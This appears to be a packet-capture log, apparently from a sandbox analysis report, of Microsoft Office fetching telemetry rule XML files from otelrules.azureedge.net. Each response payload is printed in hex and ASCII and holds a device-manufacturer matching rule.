<S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:24 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190524Z-r1d97b99577lxltfhC1TEByw2s00000007vg000000007h8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:24 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190524Z-r1d97b99577mrt4rhC1TEBftkc00000007q000000000b28m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 19:05:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:24 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190524Z-1777c6cb754wcxkwhC1TEB3c6w00000008g0000000004cwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190524Z-r1d97b995774zjnrhC1TEBv1ww00000007tg0000000040sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:25 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190525Z-1777c6cb754xjpthhC1TEBexs800000008a000000000grpr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:25 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190525Z-185f5d8b95cjbkr4hC1NYCeu2400000008vg000000012qun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:25 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:25 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190525Z-1777c6cb754dqf99hC1TEB5nps00000008eg000000000yvy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:25 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:25 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190525Z-185f5d8b95csp6jmhC1NYCwy6s00000008yg000000012f9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:25 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:25 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190525Z-185f5d8b95cwtv72hC1NYC141w00000008yg00000000x79s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:26 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:26 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190526Z-185f5d8b95cqnkdjhC1NYCm8w8000000091g0000000085rt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:26 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:26 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190526Z-185f5d8b95cx9g8lhC1NYCtgvc00000001gg00000000cw4p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:26 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190526Z-r1d97b99577lxltfhC1TEByw2s00000007tg00000000da1u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 